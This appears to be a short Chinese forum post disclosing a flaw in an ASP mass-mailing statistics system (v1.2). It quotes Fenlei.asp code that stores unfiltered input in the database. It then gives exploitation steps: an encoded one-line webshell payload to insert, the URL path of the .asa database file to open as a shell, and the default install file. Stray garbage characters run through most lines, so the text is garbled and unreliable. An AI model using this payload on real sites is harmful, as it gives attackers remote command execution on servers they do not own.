铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
" O- t6 z6 k$ V) \
IF Request.QueryString("Action")="del" Then
7 W6 l! H4 X$ U( F& T0 l  L* ^/ A3 JID=Request.QueryString("ID")
% N* V$ x" T4 ~. ]% W; C3 a1 MIF Countss ("tui","Fenlei",ID )<>0 then
! o3 h/ o% {" l0 U' q$ s! [2 l'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
# L  D1 t: U" b) r# b( x) a; eSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
/ `6 u3 @, g( }" t8 n+ l. Q( L'略
Set Rs=Server.CreateObject("adodb.Recordset")
, B# T+ D4 {2 H9 x! D: MSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
) b; }1 l) l, M+ U6 n3 o

! F: E2 G4 }: ^% T# `
没有过滤，直接写入数据库。
. u; C. T! ]- \. G  Y5 a' {" i
利用方法：
' a; P, q" q! `) u$ \
插入：┼攠數畣整爠煥敵瑳∨≡┩>
. T; Y% B* R; T) y4 ?/ r
3 n# K' S* P, m# d5 @" f
; B; ?0 y+ v! N7 E" z! T/ h连接： http://www.xxx.com/###tongbaner.asa
% r* B9 _1 l8 S! @. A: ^4 |' |2 f'默认安装文件：
, L* N! J3 a3 @. r. l'install.asp
7 q' r, B- z: {' z2 T: [7 ?& }